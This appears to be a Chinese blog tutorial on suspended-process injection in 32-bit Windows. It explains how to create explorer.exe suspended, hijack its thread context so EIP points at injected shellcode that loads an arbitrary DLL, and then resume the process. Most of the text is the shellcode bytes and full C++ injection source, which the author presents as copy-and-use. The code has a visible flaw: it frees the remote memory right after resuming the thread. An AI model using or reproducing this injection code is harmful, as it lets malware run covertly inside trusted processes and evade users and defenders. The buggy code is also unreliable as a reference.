ring3 x32挂起进程注入原理.

  • 2019 年 12 月 11 日
  • 筆記

目录

一丶挂起进程注入简介与前言

挂起进程其实就是在创建进程的时候不让其先执行.然后获取它的EIP 将它的EIP变成我们ShellCode所在的内存.进行执行.不难.

主要分为几步:

1.以CREATE_SUSPENDED标志挂起创建一个你想注入的进程 2.获取这个进程的上下文环境 GetThreadContext 64位下使用Wow64GetThreadContext 请注意.CONTEXT结构还是同一个.使用64的会出错.亲测.(EIP注入的时候测试过.不相信可以去试试) 3.定义自己的ShellCode. ShellCode主要作用就是注入指定路径下的DLL 4.修复ShellCode 因为毕竟ShellCode地址是绝对的所以修复下即可. 5.在目标进程中申请远程可读写执行内存.并且将修复好的ShellCode写入到目标进程 6.将EIP修改为可读写内存的地址.恢复线程则会调用到我们申请地址位置处开始执行.

7.释放一系列资源.

综上所述.其实没有难点.挂起进程注入主要的核心思想就是 挂起进程修改EIP为我们ShellCode起始位置.然后进行调用即可.

这里核心主要是ShellCode

ShellCode如下:

UCHAR g_ShellCode[] = {       0x68,0x00,0x00,0x00,0x00,        //push Context.EIP 需要修复     0x60,                            //puad     0x9C,                            //pushfd     0xE8, 0x00, 0x00, 0x00, 0x00,    //call $0 代码重定位     0x5B,                            //pop ebx     0x83, 0xEB,0x00,                 //sub ebx,0 可加可不加     0x8D, 0x4B,0x12,                 //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址     0x51,                            //push ecx     0xB8, 0x00,0x00,0x00,0x00,       //mov eax,LoadLibraryA 修复LoadLibraryA的地址     0xFF,0XD0,                       //call eax  为啥使用Mov reg,address call reg. 自己去坑吧.     0x9D,                            //popfd     0x61,                            //popad     0xC3,                            //ret   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  };

ShellCode主要知识点有三个

1.保存contex.EIP 2.重定位LoadLibrary的参数 3.重定位LoadLibrary的地址

下面主要针对这几点讲解.

二丶ShellCode核心讲解.

2.1 保存Contex.EIP

首先挂起进程注入. 你通过CONTEXT 这个结构可以获取 目标进程EIP.但是你要想办法执行完ShellCode之后跳转回去. 所以这里我使用了一个简单的方法

push Address  ret

这个方式是利用堆栈.以及ret指令来进行返回的. 当我们保存了原始地址.然后ret的时候.ret会把我们push的地址当做返回地址来执行.

2.2 DLL路径重定位

我们正常来说.调用LoadLibraryA/W的时候.都会进行参数压栈进而进行调用. 如:

push xxxx地址 (地址里面是个DLL路径)  call LoadLibraryA; 调用LoadLibrary

而为了方便我直接代码重定位.直接将ShellCode尾部写入我们的DLL路径.

call $0:  pop ebx

使用这两句可以得到ebx当前指令指定的EIP的地址. 直接当前 EIP + xxx偏移(偏移是你写DLL路径的位置的偏移) 就是我们的参数地址.

2.3 LoadLibrary的重定位

当你直接使用 Call的方式调用LoadLibrary的时候.你还需要计算偏移.各种等等. 但是这种不需要的.为啥. 因为Windows在启动后 kernel32的基址已经固定了.任何程序启动都会默认加载 kernel32的.所以直接使用LoadLibrary当地址即可. 但是你使用Call的方式 (call LoadLibrary) 你还需要计算你的ShellCode 与LoadLibrary的偏移.所以我们直接使用寄存器来做.

mov reg,LoadLibrary  call reg

reg代表任意通用寄存器. 此时我们的ShellCode就可以正常运行了.通过以上步骤就可以开始运行了.

三丶 全部C++代码.拷贝即可使用.

#include <windows.h>  #include <stdlib.h>  #include <stdio.h>  #include <string>    using namespace std;  UCHAR g_ShellCode[] = {       0x68,0x00,0x00,0x00,0x00,        //push Context.EIP 需要修复     0x60,                            //puad     0x9C,                            //pushfd     0xE8, 0x00, 0x00, 0x00, 0x00,    //call $0 代码重定位     0x5B,                            //pop ebx     0x83, 0xEB,0x00,                 //sub ebx,0 可加可不加     0x8D, 0x4B,0x12,                 //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址     0x51,                            //push ecx     0xB8, 0x00,0x00,0x00,0x00,       //mov eax,LoadLibraryA 修复LoadLibraryA的地址     0xFF,0XD0,                       //call eax  为啥使用Mov reg,address call reg. 自己去坑吧.     0x9D,                            //popfd     0x61,                            //popad     0xC3,                            //ret     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //填写为DLL路径     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  //不够可以继续添加  };  /*  1.挂起创建Explorer  2.创建ShellCode  3.获取上下文环境  4.申请远程内存 写入ShellCode  5.回去上下文环境  ShellCode 可以写定位LoadLibrary 然后进行调用  */    //1.挂起创建 Explorer  PPROCESS_INFORMATION StartSuspendProcess(string SuspendProcessName,char szComand[])  {        BOOL bRet = FALSE;      PPROCESS_INFORMATION pi = nullptr;      pi = new PROCESS_INFORMATION;;      if (pi == nullptr)      {          return nullptr;      }      STARTUPINFO si = { 0 };          si.cb = sizeof(STARTUPINFO);        //创建挂起进程      bRet =  CreateProcess(          SuspendProcessName.c_str(),          szComand,          nullptr,          nullptr,          FALSE,          CREATE_SUSPENDED,          nullptr,          nullptr,          &si,          pi);      if (bRet == FALSE)      {          return nullptr;      }          return pi;  }    //申请远程内存  LPVOID lpExRemoteAllocMemory(HANDLE hProcess,DWORD flAllocation,DWORD Protected)  {      LPVOID lpBuffer = nullptr;      lpBuffer =          VirtualAllocEx(hProcess,              0,              0x1000,              flAllocation,              Protected          );        if (lpBuffer != nullptr)          return lpBuffer;      return nullptr;  }  //写入ShellCode到远程内存  DWORD lpWriteRemoteMemory(HANDLE hProcess, LPVOID lpExRemoteMemory)  {      //将ShellCode写入到远程内存      DWORD dwRet = 0;      SIZE_T siWriteBytes;      if (hProcess == 0)          return 0;      if (lpExRemoteMemory == nullptr)          return 0;      dwRet = WriteProcessMemory(          hProcess,          lpExRemoteMemory,          g_ShellCode,          sizeof(g_ShellCode) / sizeof(g_ShellCode[0]),          &siWriteBytes);      return dwRet;  }    //修复ShellCode,并且将DLL路径写入到ShellCode位置.  DWORD FixShellCode(DWORD dwContexEip,char* DllPath)  {      /*      纵观全局数据区,ShellCode修复的位置有2处      1.首先要修复原Context的EIP. 这样RET之后直接跳转回去.      2.要修复LoadLibrary的地址.  因为Kernel32是直接加载的都是属于内存映射.所以虚拟地址一样.直接获取填入即可.      不用修复DLLpath. 因为自动进行代码重定位写法了.      */        //1.修复EIP      __try      {            *(DWORD*)(char*)&g_ShellCode[1] = dwContexEip;              //2.修复LodLibrary地址.            //修复          *(DWORD*)(char*)&g_ShellCode[21] = (DWORD)LoadLibraryA;            //将DLL内容拷贝到ShellCode存放路径处          memcpy((char*)&g_ShellCode[30], DllPath, strlen(DllPath) + 1);      }      __except (EXCEPTION_EXECUTE_HANDLER)      {          //出错了.      }          return 1;  }  void run()  {      DWORD dwRet = 0;      LPVOID lpStartRemoteAddress = nullptr;      //1.挂起创建进程      PPROCESS_INFORMATION pi = nullptr;      char szCmd[] = "";      pi = StartSuspendProcess("C:\Windows\SysWOW64\explorer.exe",szCmd);      if (!pi)      {          return;      }        //2.获取进程上下文环境.      CONTEXT MyContext = { 0 };      MyContext.ContextFlags = CONTEXT_FULL;      dwRet =  GetThreadContext(pi->hThread, &MyContext);      if (!dwRet)      {          return;      }        //3.修复ShellCode的值.并且写入自己的DLL路径      char szDllPath[] = "填入你的DLL路径.如: C:\xxx.dll";      dwRet = FixShellCode(MyContext.Eip,szDllPath);        //4.申请远程内存      lpStartRemoteAddress = lpExRemoteAllocMemory(pi->hProcess, MEM_COMMIT, PAGE_EXECUTE_READWRITE);      if (lpStartRemoteAddress == nullptr)      {          return ;      }        //5.将ShellCode写入到内存中      dwRet = lpWriteRemoteMemory(pi->hProcess, lpStartRemoteAddress);        //6.恢复进程启动,修改EIP为我们的ShellCode        MyContext.Eip = (DWORD)lpStartRemoteAddress;      SetThreadContext(pi->hThread, &MyContext);      ResumeThread(pi->hThread);    //请注意这里 EIP修改为我们的ShellCode位置.还要恢复线程才会进行执行.      //释放一系列资源      VirtualFreeEx(pi->hProcess, lpStartRemoteAddress, 0x1000, MEM_RELEASE);      CloseHandle(pi->hProcess);      CloseHandle(pi->hThread);    }  int main()  {      run();        return 0;  }